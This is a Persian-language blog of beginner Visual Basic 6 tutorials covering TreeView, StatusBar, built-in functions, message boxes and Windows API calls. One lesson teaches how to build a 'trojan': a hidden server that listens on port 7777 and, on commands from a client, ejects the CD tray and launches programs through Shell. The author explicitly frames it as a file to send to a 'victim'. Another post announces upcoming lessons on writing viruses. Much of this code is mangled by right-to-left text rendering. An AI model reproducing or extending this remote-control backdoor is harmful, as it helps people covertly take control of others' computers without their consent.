تبليغاتX
Iranian Technology
 
آموزش برنامه نویسی
 
 
آموزش ویژوال بیسیک و ... برای دیدن تمامی مطالب به آرشیو ماهانه مراجعه کنید
 
سلام بچه ها حالتون خوبه .  اين جمله پاييني رو مطمئنم که خيلي شنيديد
از اينکه يه چند وقتي نبودم واقعآ شرمندم اين يکي دو ماهه درگير درس و مدرسه و مخش پخش بودم. کلي دلم براتون تنگ شده بود. اميدوارم منو بخشيده باشيد و منو از ياد نبرده باشيد.

دو سه روز بود که مي خواستم يه مطلبي بنويسم اما چون چيزي به نظرم نميرسيد که آموزش بدم نتونستم تا اينکه امروز به بهونه يک آموزش کوچولو ولي کاربردي اومدم .

قبل از اينکه کارم رو شروع کنم بايد از کساني که به من و به وبلاگ خودشون نظر ميدن تشکر کنم. همچنين از داداش کامران هم به خاطر مطالبي که گذاشتن ممنونم .

پاسخ به دو سه تا نظر ( خيلي کمه بابا ابروي مارو شما يه روزي پيش رفيق رفقا مي بريد. ولي عيبي نداره نوبت منم ميشه .) و بعد هم ميريم سر آموزش.

زينب از من کمکي خواسته بود که متآسفانه نه پاسخشو بلد بودم(الگوريتم انحصاري چي چيه ديگه؟) و نه با اينترنت و وبلاگ در ارتباط بودم . شرمنده.


  الهام گفته بود که ميخواد مربع هاي تو در تو بسازه  براي اين کار شما بايد مختصات Z مربع بزرگتون از همه بيشتر باشه و مختصات Z مربع کوچيکتون هم از همه کمتر(البته در حالت منفي) باشه به عبارت ديگه مربع بزرگه بايد زير همه مربع ها باشه . اگه اين توضيحات کمکت کرد ( فکر نمي کنم چون خودم نفهميدم چي گفتم)خوب الحمد الله در غير اين صورت بگو سورسشو برات بزارم .

آقا داوود دستور داده بودن آموزش کاربا کنترل WinSock رو آموزش بدم که ميگم :
نمي تونم  .................................  شوخي کردم بابا ميگم : به چشم قربان اما جلسه ديگه چون که الآن ميخوام آموزشهاي زير رو بدم:


کار با کنترل هاي :TreeView (نمايش درختي) - StatusBar (نوار وضعيت)

براي اضافه کردن اين کنترلها به جعبه ابزار ويژوال بيسيک اين کارا رو انجام بدين:
?- از منوي Project > Components  را بزنيد يا کليدهاي crtl + T را بزنيد که در اين صورت کادر محاوره اي Components باز ميشود که در سربرگ(Tab) به نام Controls ليستي از کنترل هاي شناخته شده توسط ويژوال بيسيک مي آيد که شما بايد به دنبال Microsoft Windows Common Controls 6.0(SP4)  a بگردين و تيک کنار اون رو فعال کنيد و بعد هم OK کنيد.

TreeView

شما حتمآ حالت نمايش درختي را ديده ايد و بسيار از امکانتش بهرهمند شده ايد.
براي اينکه ياد بگيرين از اين کنترل چگونه استفاده کنيد ابتدا بايد بدانيد که ساختار درختي به صورتي است که در آن يک شاخه اصلي وجود دارد که شاخه هاي فرعي به آن منتصل شده اند. به شاخه هاي فرعي گره(Node)هم گفته مي شود. ما بايد ابتدا شاخه اصلي يا تنه را بسازيم و بعد گره ها را درست کنيم. براي يادگيري کامل به مثال زير توجه کنين:

ابتدا يک کنترل TreeView از جعبه ابزار به فرم اضافه کنيد . حالا اندازه آن را به طور دلخواه تغيير دهيد . روي فرم دابل کليک کنيد تا پنجره کدها و روال Form_Load باز شود.
حالا يک متغير از نوع Node به اسم MainNode تعريف مي کينم به اين صورت:
Dim MainNode as Node
و بعد هم یک متغیر دیگه به اسم ChidNode

Dim ChildNode as Node

بعد هم باید شروع کنیم به ست کردن متغیر ها . برای درست کردن شاخه اصلی به این صورت عمل میکنیم:

Set MainNode = TreeView1.nodes.add( , , "Main" , "Main") 'x

حالا ما شاخه اصلی رو ساختیم . بهتره الآن یه بار برنامه را اجرا کنید و نتیجه را  ببینید.
شما میتونید به تعداد دلخواه شاخه درست کنید فقط کافیه به جای Main یک اسم دیگه بزارید.
برای ساختن گره ها یا شاخه های فرعی به جای ست کردن متغیر MainNode متغیر ChildNode را ست می کنیم . توجه داشته باشید که اگر بخواهید یک شاخه فرعی یا گره رو به یک تنه ( که در اینجا اسم تنه Main هست) متصل کنیم باید به صورت زیر عمل کنیم:

Set ChildNode = TreeView1.Nodes.Add("Main" , tvwChild , "Node1" , "Node1")  'x

همون طور که در خط بالا  می بینید آرگومان اول Nodes.Add را برابر اسم تنه گذاشتیم و در آرگومان دوم از ثابت tvwChild استفاده کردیم که نشان دهنده این است که گره ای که قرار است اضافه شود زیر شاخه Main است. آرگومان سوم کلمه کلیدی یا یک شناسه است که برای گره ای که ساخته ایم قرار میدهیم در آرگومان چهارم هم خاصیت Text یا به عبارت دیگر کلمه ای که قرار است نمایش داده شود را اضافه کردیم.

در این حالت هم شما می تونید به تعداد دلخواه گره درست کنید فقط باید "Node1" رو در دو آرگومان آخر تغییر بدین.

توضیحات بالا در کل به این صورت است:

Private Sub Form_Load() 'x

Dim MainNode as Node
Dim ChildNode as Node

Set MainNode = TreeView1.Nodes.Add(,, "Main" , "Main")  'x
Set ChildNode = TreeView1.Nodes.Add ( "Main" , tvwChild , "Node1" , "Node1") 'x

End Sub

شاید با این توضیحات درهم من چیزی دستگیرتون نشده باشه. در هر حال برای اینکه خوب بتونم آموزشم رو کامل کنم از یکی دو تا مثال استفاده می کنم.

مثال ۱ : نمایش درایو های موجود در My Computer .
 یک پروژه جدید از نوع استاندارد باز کنید سپس یک کنترل TreeView به فرم برنام اضافه کنید و خاصیت آن را برابر TreeView1 قرار دهید .
حالا روی فرم برنامه دابل کلیک کنید تا روال Form_Load باز شود . کدهای زیر رو بنویسید.

Private Sub Form_Load()

Dim N as Node
Dim FSO , Drives
Set N = TreeView1.Nodes.Add(, , "HD" , "My Computer")   'x
set Fso = CreateObject("Scripting.FileSystemObject")   'x
Set Drives = Fso.Drives

For Each Drive In Drives
If Drive.isready then Set N = TreeView1.Nodes.Add("HD" , tvwChild , drive , drive)  'x
Next

End Sub

کنترل TreeView قابلیت های بسیاری داره مثل اضافه کردن یک عکس یا + و - در کنار گره ها. اگه خواستین بگین تا بعضی از قابلیت هاش رو براتون آموزش بدم. 


Status Bar

کار با کنترل Status Bar بسیار سادست و نیازی به توضیحات بسیار زیاد نداره.

براي اضافه کردن اين کنترلها به جعبه ابزار ويژوال بيسيک اين کارا رو انجام بدين:
?- از منوي Project > Components  را بزنيد يا کليدهاي crtl + T را بزنيد که در اين صورت کادر محاوره اي Components باز ميشود که در سربرگ(Tab) به نام Controls ليستي از کنترل هاي شناخته شده توسط ويژوال بيسيک مي آيد که شما بايد به دنبال Microsoft Windows Common Controls 6.0(SP4)  a بگردين و تيک کنار اون رو فعال کنيد و بعد هم OK کنيد.

حالا کنترل Status Bar به جعبه ابزار شما اضافه شده . یکی از این کنترل ها رو به فرم برنامه اضافه کنید.
هر کنترل StatusBar یک خاصیت به نام Panels دارد که هر پنل یک خانه در StatusBar است.

هنگامی که شما یک کنترل StatusBar به فرم برنامه تون اضافه می کنید به صورت پیش فرض یک پنل برای شما ساخته می شود . اگر می خواهید تعداد پنل ها را زیاد کنید از کد زیر استفاده کنید.

StatusBar1.Panels.Add  2 , , "Iran"            'x

در خط بالا ۲ نشان دهنده ی شماره اندیس پنل جدید است. اگر میخواهید بیش از دو پنل داشته باشید کافی است خط بالا را دوباره بنویسید و ۲ را به ۳ تغییر دهید.

مثال:نمایش ساعت در StatusBar .
ابتدا یک کنترل StatusBar به فرم اضافه کنید و به خاصیت Name کنترل دست نزنید. یک تایمر هم به فرم اضافه کنید  و خاصیت Interval کنترل تایمر رو به ۱۰۰۰ تغییر دهید . از منوی View روی Code کلیک کنید تا پنجره کدها باز شود و کدهای زیر رو بنویسید.

Private Sub Timer1_Timer

StatusBar1.Panels(1).Text = Time

End Sub


خوب این پست هم تموم شد.
نظر یادتون نره.
خداحافط شما.

 |+| نوشته شده در  پنجشنبه هشتم آذر 1386ساعت 16:1  توسط علی  | 

با سلام.

 من حسین دوست آقا علی هستم. بنده هم از این به بعد توی این وبلاگ آموزش برنامه نویسی رو شروع میکنم.

امروز هم برای اولین پستم، اینجا، آموزش ساخت یک Activex یا کامپوننت خیلی خیلی ساده رو که خودم ساختم میذارم، البته توی این آموزش فقط میخوام بگم که شما خودتون هم خیلی راحت میتونین با VB ، کامپوننت و Activex مورد نیازتون رو بسازین و هیچ ارزش دیگه ای نداره .

توی این تمرین ما قرار هست که یک به اصطلاح کنترل یا همون کامپوننت که ساعت رو به ما نشون میده و ما میتونیم در زمان اجرا با کلیک راست روی اون، رنگ پشت زمینه، نوع قلم و رنگ قلم رو تغییر بدیم، بسازیم.

برای دیدن تمرین روی ادامه مطلب کلیک کنین.

به وبلاگ خودم هم یه سری بزنین. آموزش فتوشاپ، فلش، مایا، VB و غیره.

با نظراتون به بهتر شدن وبلاگ کمک کنید.


ادامه مطلب
 |+| نوشته شده در  یکشنبه بیست و یکم مرداد 1386ساعت 0:25  توسط حسین  | 

سلام به تمام بروبچ .  حالتون چطوره ؟ خوبین خوب میدونستم که حالتون بده!

امروز جلسه سوم آموزش ویژوال بیسیک رو میزارم در امروز در حدود ۲۵ تا از توابع داخلی ویژوال بیسیک رو معرفی میکنیم و به کار کردن با اونها میپردازیم.

۱- تابع ABS قدر مطلق یک عدد رو برمیگردونه.

۲- تابع sin سینوس یک زاویه را برمیگردونه.

۳- تابع Cos کسینوس یک زاویه رو برمیگردونه.

۴- تابع Tan تانژانت یک زاویه رو برمیگردونه.

۵- تابع SQR جذر یک عدد رو برمیگردونه.

۶- تابع Atn آرک تانژانت یک عدد رو برمیگردونه.

۷- تابع RND یک عدد رو به صورت تصادفی و شانسی بر میگردونه.

۸- تابع Int جزء صحیح عدد اعشاری رو برمیگردونه.(مثل( Int(1.8 که عدد ۱ رو برمیگردونه.)

۹- تابع Fix این تابع قسمت اعشاری عدد را در صورت وجود حذف میکنه.

۱۰- تابع SGN علامت یک عدد رو برمیگردونه و علامت های اون به صورت زیر است:

اگر عدد

مقدار برگشتی تابع

+باشد

۱

۰ باشد

۰

- باشد

۱-

 

 

 

 

۱۱- تابع Val یک عدد را که به صورت رشته ای است به صورت عددی در می آورد.

۱۲- تابع ASC یک حرف یا کاراکتر رو دریافت میکنه و عدد اسکی اون رو برمیگردونه.

۱۳ - تابع Chr یک عدد رو میگیره و کاراکتر اسکی آن عدد رو نشون میده .(عدد بین ۰ تا ۲۵۵)

۱۴- تابع DateSerial روز و ماه و سال را میگیرد و میان آنها علامت ممیز قرار میدهد و به تاریخ تبدیل میکند

۱۵- تابع DIR فایلهایی که در داخل یک درایو یا فولدر هستن بر اساس فرمت آنها برمیگرداند.

۱۶- تابع Environ با گرفتن یک عدد بزرگتر از ۰ مشخصات سیستم رو بر اساس اون عدد برمیگردونه.

۱۷- تابع FileCopy باگرفتن نشانی مبدا و نشانی مقصد یک فایل رو از مبدا به مقصد کپی میکنه.

۱۸- تابع FileLen نشانی یک فایل را میگیرد و حجم آن را بر حسب بایت برمیگرداند.

۱۹- تابع Hour یک ساعت (مثل ۱۰:۵۵:۱۱ ) رو میگیره و ساعت اون رو برمیگردونه .

۲۰- تابع Minute یک ساعت رو مثل تابع بالا میگیره و دقیقه اون رو برمیگردونه.

۲۱- تابع Second یک ساعت رو مثل بالا میگیره و ثانیه اون رو برمیگردونه.

۲۲- تابع Left یک رشته رو میگیره و به تعداد دلخواه ازسمت چپ اون رشته حرف جدا میکنه و برمیگردونه.مثل(Left("Hello",2  که مقدار برگشتی اون برابر با He میشه.

۲۳- تابع Right مثل تابع Left عمل میکنه با این تفاوت که از سمت چپ حروف رو انتخاب میکنه.

۲۴- تابع StrReverse یک رشته رو میگیره و برعکس اون رو بر میگردونه.مثل strReverse("Ali")0 که مقدار برگشتی اون برابر با ilA است.

 


این توابعی که گفته شد از جمله مهمترین توابع ویژوال بیسیک بودند امیدوارم به شما کمک کنند.

اگر توابع بیشتری خواستین میتونین در قسمت نظرات بگین.

فعلا گودی بای.

 

 |+| نوشته شده در  سه شنبه هشتم خرداد 1386ساعت 20:16  توسط علی  | 
با نام خدا قسمت سوم آموزش ویژوال بیسیک رو براتون میزارم .امید وارم از مطالب قبلی بهره برده باشین .

و اما از امروز به بعد به آموزش متوسط و پیشرفته ویژوال بیسیک میپردازم.به نظر من مطالبی که قبلا توضیح دادم برای یک فرد مقدماتی کافیه و از اینجا به بعد شروع به حرفه ای شدن میکنه.

میریم سر اصل مطلب و اونم اینه که امروز آموزش کار با API های ویندوز و ساخت تروجان توسط ویژوال بیسیک میپردازیم.(همون طور که قول داده بودم در جلسه های بعد به آموزش های پیشرفته تر میپردازم)

خوب!!!!!

دیگه چرت و پرت گفتن کافیه و ما باید به آموزشمون بپردازیم . شما میتوانید سوال های خودتون رو در قسمت نظرات بگین و من رو توی زحمت بندازین و باعث بشین که من خودم رو آزمایش کنم.


توابع API در واقع توابع داخلی ویندوز هستند.به وسیله توابع API ویندوز ما میتونیم هرکاری که در ویندوز قابل انجام است در ویژوال بیسیک و در برنامه های خودمون انجام دهیم.کارهایی که ویندوز انجام میده مثلا فایل های صوتی با فرمت های گوناگون رو پخش میکنه - باعث میشه که ما به اینترنت متصل بشیم باعث میشه که کارهای گرافیکی قدرتمند بکنیم - باعث میشه که فایلها رو فشره کنیم و هزاران کار دیگه. تمام روتین های API ویندوز در درون کتابخانه های با لینک دینامیک یا (DLL (Dynamic Link Library قرار دارند. چون این فایل ها به همراه ویندوز عرضه و نصب میشوند در تمامی رایانه هایی که با سیستم عامل ویندوز کار میکنند وجود دارند .

از جمله DLL های مهم و پرکاربرد ویندوز میتوان به DLL های زیر اشاره کرد:

User32.DLL

GDI32.DLL

Kernel32.DLL

ما برای استفاده از توابع API باید آنها را فراخوانی کنیم.برای فراخوانی یک روتین API ازدستور Declare استفاده میکنیم که شکل کلی این دستور به صورت زیر است:

Private Declare [Sub or Function] procName Lib "LibraryName" [Alias "asAlias"]                    'xxx

در فراخوانی یک تابع API ابتدا آن را به صورت Private یا Public بعد Declare مینویسیم سپس میگوییم که ساب روتین(Sub) باشد یا فانکشن (Function) . کلمه procName نام تابعی است که ما میخواهیم از آن استفاده کنیم و LibraryName نام کتابخانه DLL ای است که این تابع در آن کتابخانه است.

شما برای مشاهده توابع API ویندوز میتونین با رفتن به Start و AllPrograms و Microsof VB6 و بعد رفتن به شاخه Microsof VB6 Tools و اجرا کردن برنامه API Viewer  توابع API ویندوز رو مشاهده کنین.

برای اینکه با توابع API بیشتر آشنا بشین یک مثال ساده و زیبا براتون میزنم.

نمونه برنامه ۱: یک پروژه استاندارد باز کنید و روی فرم خودتون یک عدد دکمه فرمان(Command1) قرار بدین سپس از منوی View در ویژوال بیسیک گزینه Code را بزنید با این کار پنجره کدها باز میشود .در قسمت General پنجره کد دستورات زیر را بنویسید:

Private Declare Function mciSendString Lib "winmm.dll" Alias "mciSendStringA" (ByVal lpstrCommand As String, ByVal lpstrReturnString As String, ByVal uReturnLength As Long, ByVal hwndCallback As Long) As Long

به علت اینکه مرورگر اینترنت شما نمیتونه کل این تابع رو در یک خط نمایش بده ممکنه که ۲ یا ۳ خط بشه اگه مشکلی پیش اومد بگین تا سورس این برنامه رو بزارم.

بعد از پنجره کدها خارج شوید و روی دکمه فرمانی که روی فرم گذاشتین دوبار کلیک کنید و سپس کدهای زیر رو بنویسید:

Private Sub Command1_Click

MciSendString "Set CDAudio Door Open" ,0 ,0 ,0

End Sub

بعد برنامه رو اجرا کنین و روی دکمه فرمان خودتون کلیک کنید تا نتیجه کار رو ببنید . بعد از کلیک شدن دکمه فرمان باید سی دی رام شما بیرون بیاد.اگر مشگلی پیش اومد بگو تا راهنماییت کنم.

شما میتونین برای بستن در سی دی رام خودتون در روال کلیک دکمه فرمان به جای عبارت Open عبارت Closed رو بنویسین.

چطور بود حالی بردینا.

API های بسیار زیادی وجود داره که اگر یه سایت بخواد دونه دونه توضیحشون بده فقط بیشتر از یک ماه تایپ کنه . اما کلیه API های ویندوز به دردخور نیستند و باید دروشون ریخت و فقط تعداد اندکی از آنها برای استفاده در ویژوال بیسیک به صرفه است.

در قسمت بعد نیز که نحوه نوشتن تروجان با ویژوال بیسیک است API های ویندوز رو بیشتر آموزش میدم پس                                                با ما همراه باشید!!!!!!!!!


آموزش ساخت تروجان با ویژوال بیسیک

خوب در این جلسه چگونگی ساخت تروجان با ویژوال بیسیک رو آموزش میدم.

در این جلسه شما ابتدا با یک تروجان (مانند Sub 7 ) آشنا میشین و قسمت های مختلف اون رو مورد تجزیه و تحلیل قرار میدینو بعد با یک مثال ساده یک تروجان نسبتا پر قدرت میسازین.

کار تروجان به این صورت است که ابتدا فایل سرور را به یک نفر ارسال میکند و با اجرا شدن این فایل سرور کامپیوتر شخص بدبخت(Victim) برای کار تروجان ما یک راه باز میزاره.برای اینکه به کامپیوتر شخصی فایل سرور(Server) را ارسال کنیم نیاز به یک آدرس یا نشانی داریم که نشانی میتونه IP باشه یا میتونه نام کامپیوتر فرد قربانی باشه.بعد از اینکه تروجان ما به کامپیوتر فرد قربانی متصل بشه (مثل زالو بهش بچسبه) اطلاعاتی رو برای کامپیوتر فرد قربانی ارسال میکنه که این اطلاعات میتونند کارهایی از قبیل روشن خاموش کردن مانیتور باز و بسته کردن در سی دی درایو و کارهایی از این قبیل انجام بده.

برای اینکه ما بتونیم به کامپیوتر فرد قربانی متصل بشیم به یک منبع و یا یک کنترل احتیاج داریم که اطلاعات ما رو از طریق شبکه به کامپیوتر فرد قربانی بفرسته.در ویژوال بیسیک کنترلی وجود داره که این کار رو انجام میده که اسم این کنترل Win Socket است.

نمونه برنامه برای یادگیری ساخت تروجان :

قبل از شروع باید بگم به خاطر اینکه سایتی که فایل های تصویری رو بشه داخلش آپلود کرد گیر نیاوردم نتونستم عکس رو همره با آموزش بزارم اگه مشگلی پیش اومد حتما بگین یا اگه کسی یه سایت که بشه داخلش عکس آپلود کرد بلده بگه ممنون میشم.

ابتدا یک پروژه جدید از نوع Standard EXE باز کنید.

برای ساخت برنامه Clint با زدن کلیدهای ترکیبی Ctrl + T یا با کلیک کردن گزینه Components از منوی Project جعبه گفتگوی انتخاب کنترل ها را باز کنید.سپس به دنبال Microsoft WinSock Control 0.6 بگردین و چک بوکس کنار اون رو فعال کنین تا کنترل Win Sock به جعبه ابزار شما اضافه بشه . شکل کنترل WinSock یه چیزی مثل ۲ تا کامپیوتر ه که با یک خط به هم متصل شدند.

با دوبار کلیک کردن روی کنترل WinSock  اون رو به فرمتون اضافه کنید.

۶ عدد دکمه فرمان (Command) به فرمتون اضافه کنین و بعد از اون ۱ عدد تکست بوکس (Text Box) دیگر به فرم اضافه کنین.

خاصیت کنترل ها به صورت زیر هست:

ردیف نام کنترل خصوصیت Caption
۱ Command1 Connect
2 Command2 !Open The CDRom
3 Command3 Close The CDRom
4 Command4 Run OSK
5 Command5 Run NotPad
6 Command6 Close Trojan

 

 

 

 

 

شما میتونید به سلیقه خودتون کنترل ها رو روی فرم قرار بدین.

نوشتن کد برنامه:

روی دکمه فرمان Connect دابل کلیک کنید تا روال مربوط به کلیک شدن دکمه فرمان Command1 با بشه سپس کدهای زیر رو بنویسید:

Private sub Command1_Click

WinSock1.Close

WinSock1.Connect Text1.Text , 7777

End Sub

در قطعه کد بالا کنترل WinSock از طریق Ip که در Text1 نوشته میشه با پورت ۷۷۷۷ به کامپیوتر قربانی متصل میشه.

در مرحله دوم روی دکمه فرمان Open CD Rom دوبار کلیک کنید.و بعد قطعه کد زیر را بنویسید:

Private Sub Command2_Click

Dim strData as String

"strData = "OPENCD

WinSock1.SendData   strData

End Sub

در قطعه کد بالا با فشرده شدن دکمه فرمان Open CDRom ابتدا یک متغیر از نوع رشته ای درست میشه و در خط بعد مقدار متغیر ما (OPEN) برابر با OPENCD میشه و بعد مقدار متغیر برای کامپیوتر قربانی فرستاده میشه.

مرحله سوم:روی دکمه فرمان Close CDRom دابل کیک کنید و سپس کدهای زیر را بنویسید:

Private Sub Command3_Click

 Dim strData as String

"strData = "CLOSECD

WinSock1.SendData  strData

End Sub

مرحله چهارم:روی دکمه فرمان Run OSK دابل کلیک کنید و سپس قطعه کد زیر رو بنویسید:

Private Sub Command4_Click

Dim strData as String

"strData = "RunWindowOSK

WinSock1.SendData  strData

End Sub

مرحله پنجم:روی دکمه فرمان Run Note Pad دابل کلید کنید و قطعه کد زیر رو بنویسید:

Private Sub Command5_Click

Dim strData as String

"strData = "RunWindowNotePad

winSock1.SendData  strData

End Sub

مرحله ششم: روی دکمه فرمان Close Trojan دوبار کلیک کنید و قطعه کد زیر رو بنویسید:

Private Sub Command6_Click

Dim strData as String

"strData = "CloseMe

WinSock1.SendData  strData

End Sub

مرحله ششم برای تروجان ما مرحله مهمی است که باعث میشه که اتصال رو با فرد قربانی قطع کنیم و به برنامه پایان دهیم.

مرحله  هفتم: روی کنترل WinSock خودتون دوبار کلیلک کنید و در روال رویداد Connect کنترل WinSock قطعه کدهای زیر رو بنویسید:

Private Sub WinSock1_Connect

"WinSock1.SendData "Trojan

End Sub

مرحله هشتم:حالا در روال رویداد DataArival کنترل WinSock قطعه کد زیر را بنویسید:

(Private Sub WinSock1_DataArival(Byval BytesTotal as Long

Dim  StrData as String

WinSock1.GetData StrData , vbString

End Sub

با قطعه کدهایی که در بالا نوشتیم تازه برنامه Clint رو ساختیم و تازه حدود ۳۰ درصد کارو انجام دادیم

برای ساختن کامل برنامه و همچنین ساخت برنامه Server باید کارهای زیر رو انجام بدهید تا ۷۰ درصد دیگه کار انجام بشه.

ابتدا یک پروژه دیگه از نوع Standard EXE باز کنید و یک کنترل WinSock به نام WinSock1 به فرم خودتون اضافه کنید.

حالا میریم سراغ API های ویندوز اگه جلسه قبل رو مطالعه کرده باشین با این تابع API آشنا هستید . کار این تابع اینه که باعث میشه در CDRom یا Writer باز و بسته بشه.

با بازکردن پنجر کد (پنجره ViewCode ) در قسمت General کدها قطعه کد زیر رو بنویسید:

Private Declare Function mciSendString Lib "Winmm.dll" Alias "mciSendStringA" (Byval lpstrCommand as String , Byval lpstrReturnString as String , Byval uReturnLength as Long , Byval hwndCallBack as Long) as Long

حالا برای اینکه سرور ما دستوراتی که از Clint میاد اجرا کنه ما برای اون دستورات چند تا تابع مینویسیم

در ابتدا تابع باز شدن در CDRom رامینویسیم . در قسمت General پنجره کد کدهای زیر را بنویسید:

Private Function EjectCD

mciSendString "Set CDAudio Door Open" , 0 , 0 , 0 

End Function

بعد از تابع بالا تابع بسته شدن درب CDRom رو مینویسیم:

Private Function CloseCD

mciSendString "Set CDAudio Door Closed" , 0 , 0 , 0

End Function

حالا از پنجره View Code خارج بشین و روی فرم خودتون دابل کلیک کنید و در روال رویدار Load فرم کدهای زیر رو بنویسید:

Private Sub Form1_Load

WinSock1.LocalPort = 7777

WinSock1.Listen

Form1.Hide

End Sub

در خط اول نوشتیم که کنترل WinSock فقط از طریق پورت ۷۷۷۷ ارتباط برقرار کند و در خط دوم به برنامه سرور دستور Listen (گوش دادن) به Clint داده شد و در خط سوم فرم سرور مخفی بشه.

حالا از پنجره ViewCode خارج بشین و در روال رویداد ConnectionRequest کنترل WinSock کدهای زیر رو بنویسید:

(Private Sub WinSock1_ConnectionRequest (ByVal RequestID as Long 

If WinSock1.State <> sckClosed then WinSock1.Close

WinSock1.Accept  RequestID

End Sub

خوبه خوبه تا فعلا ۸۵ درصد کارها رو انجام دادین برای تکمیل کارها در روال رویداد DataArival کنترل WinSock قطعه کد زیر رو بنویسید:

(Private Sub WinSock1_DataArival (ByVal bytesTotal as Long 

DoEvents

Dim strData as String

(Call WinSock1.GetData (strData$ , vbString

DoEvent

Select Case strData

"Case "CloseMe

Unload Me

"Case "OPENCD 

EjectCD

"Case "CLOSECD

CloseCD

"Case "RunWindowOSK

"shell "OSK.exe

"Case "RunWindowNotePad

"Shell "NotePad.exe

End Select

End Sub

خوب حالا میتونین یه نفس راحت بکشین چون که کار ما تموم شد برای تست کردن برنامه در کامپیوتر خودتون ابتدا هر دو برنامه که ساختین (Clint and Server) اجرا کنین بعد درداخل Text1 در برنامه Clint شماره ۱۲۷.۰.۰.۱ رو بنویسید و بعد دکمه Connect رو بزنین و بعد بازدن دکمه فرمان های OpenCDRom و CloseCDRom و غیره برنامتون رو تست کنین و حالشو ببرین.


خوب بالاخره جلسه سوم هم به پایان رسید و من از شما یه خواهش کوچولو دارم

نظر بده و سوالات خودت رو بپرس مطمعن باش جوابتو میگیری. 

 |+| نوشته شده در  سه شنبه هشتم خرداد 1386ساعت 20:12  توسط علی  | 
با سلام خدمت تمام بروبچ گل ایرون.

قبل از شروع آموزش قسمت دوم ویژوال بیسیک باید بگم نظر دادنتون خیلی بد بود اصلا کسی نظر نداد ماهم خیط شدیم رفت پیش رفیق رفقا آبرومون رفت. پس نظر یادتون نره.

صحبتی برای برنامه نویس های حرفه ای و متوسط:یه مژده برای افراد متوسط و حرفه ای دارم که بعد از نوشتن قسمت سوم آموزش ویژوال بیسیک به آموزش حرفه ای ویژوال بیسیک میپردازیم. آموزش های پیشرفته و حرفه ای درس چهارم عبارتند از : نوشتن برنامه های گرافیکی سه بعدی در ویژوال بیسیک توسط DirectX و OpenGL .آموزش ساخت تروجان با ویژوال بیسیک . آموزش ساخت ویروس  با ویژوال بیسیک و ...

پس چی داداش ضرری نداره دوباره به وبلاگ من سربزنی.


خوب میریم سراغ آموزش قسمت دوم ویژوال بیسیک اون هم در حد مقدماتی.

 

در درس امروز درباره جعبه پیام ها جعبه گفتگو و کنترل تایمر صحبت هایی میکنیم.

جعبه پیام ها:

جعبه پیام ها در ویژوال بیسیک بسیار کاربرد دارند به طوری که تمامی برنامه هایی که شما در سیستم عاملتان از آن استفاده میکنید دارای جعبه پیام های متعددی هستند و باعث میشوند که برنامه با کاربر بیشتر ارتباط برقرار کند و باعث حرفه ای تر شدن برنامه ما شود.

در ویژوال بیسیک جعبه پیام ها به دو دسته تقسیم میشوند که عبارتند از:

۱- جعبه پیام هایی که فقط پیام را به کاربر نشان میدهند و یک فرمان از کاربر میگیرند.(MsgBox).

۲- جعبه پیام هایی که علاوه بر نشان دادن پیام یک رشته و یک فرمان از کاربر دریافت میکند.(InputBox).

1- MsgBox

MsgBox خود یک تابع است که یک جعبه پیام به کاربر نشان میدهد.شکل پایین.

                                                                                          

در شکل بالا شما مشاهده می کنید که جعبه پیام ما یک عنوان(Title) و یک آیکون و تعدادی دکمه فرمان است.

ساختار کلی تابع MsgBox به صورت زیر است.

 به این صورت: (MsgBox (Prompt,IntStyle,Title

که در شکل بالا Prompt همون جمله ای است که به پیام را میرساند.در شکل بالا(Do You WantTo Exit)

در تابع MsgBox ; دکمه فرمان ها آیکون جعبه پیام و تعداد دکمه فرمان ها توسط IntStyle مشخص میشود در زیر در مورد آرگومان IntStyle بیشتر صحبت میکنیم.

vbOkOnly                  دکمه OK

vbOKCancel              دکمه های OK و Cancel

vbAbortRetryIgnore   دکمه های Abort,Retry,Ignore

vbYesNoCancel         دکمه های Yes,No,Cancel

vbYesNo                   دکمه های Yes,No

vbRetryCancel           دکمه های Retry,Cancel

 

آیکون هایی که می توان استفاده کرد به شرح زیر است:

 

vbCritical               

vbQuestion            

vbExclamation       

vbInformation        

بین دکمه و ایکون باید علامت + بگذاریم. مقدارهایی که جعبه پیام می تواند بر گرداند به شرح زیر است:

 

نام ثابت

مقدار

vbOK

1

vbCancel

2

vbAbort

3

vbRetry

4

vbIgnore

5

vbYes

6

vbNo

7

برای بهتر یادگرفتن شما یک مثال ساده میزنیم.

مثال: یک دکمه فرمان روی فرمتون قرار بدین(CommandButton) سپس روی اون دوبارکلیک کنید تا پنچره کد باز شود سپس در روال رویداد Command1_click  کدهای زیر را بنویسید.

MsgBox "Do you want to Exit" , VBQuestion + vbYesNo , "Question

سپس برنامه رو اجرا کنید و روی دکمه فرمان کلیک کنید و نتیجه کار خودتون رو ببینید.

شما برای یادگیری بهتر میتونید در مثال بالا به جای VBQuestion , vbYesNo  مقادیر دیگری را قرار دهید.

توجه داشته باشید که اگر فقط (MsgBox (Prompt را بنویسید و آرگومان های دیگر را مقدار دهی نکنید جعبه پیام نمایش داده میشود ولی آیکون و عنوان ندارد و فقط یک دکمه فرمان دارد.امتحانش ضرر نداره.

مثال : در مثال یک به جای اینکه کل کد رو بنویسید فقط این رو بنویسید:

MsgBox "Do You Want To Exit

در تابع MsgBox می توان فهمید که کاربر کدام دکمه فرمان را کلیک کرده برای فهمیدن اینکه کاربر کدام دکمه فرمان جعبه پیام را زده است باید به صورت زیر عمل کنیم.

ابتدا باید یک متغیر از نوع عدد صحیح تعریف کنیم.سپس متغیر را برابر با تابع MsgBox قرار دهیم و با استفاده از یکی از دستورات شرطی If یا Select Case دستوراتی را که باید اجرا شوند  بنویسیم.

مثال ۱: ابتدا یک Command Button روی فرم قرار دهید سپس کدهای زیر را بنویسید:

Dim X as Integer

Private Sub Command1_Click

("X = MsgBox ("Do You Want To Exit" , vbQuestion + VbYesNo , "Question

If X =  6 then

End

Else

Exit Sub

End If

End Sub

تذکر اگر با کپی کردن کدها دچار مشکلی شدید خودتان آنها را بنویسید.

 

۲- InputBox

جعبه پیام InputBox جعبه پیامی است که از کاربر سوالی میکند و جواب را دریافت میکند.شکل زیر.

                                     

همان طور که در شکل میبینید جعبه پیام سوال کرده که اسم شما چیست و در قسمت پایین جعبه پیام محلی برای دریافت جواب سوال وجود دارد.

شکل کلی تابع InputBox به صورت زیر است:

(مقدار پیش فرض تکست جعبه پیام , عنوان , سوال) InputBox

مثال ۲: ابتدا یک CommandButton روی فرم قرار دهید سپس کدهای زیر را بنویسید.

Dim X as String

Private Sub Command1_Click

("X = InputBox("What is your name?","Question

MsgBox "Welcome:" + X ,vbInformation

End Sub


جعبه گفتگو ها در ویژوال بیسیک باعث می شود برنامه های شما پیشرفته تر شود و کاربران از کار کردن با برنامه شما لذت ببرند.

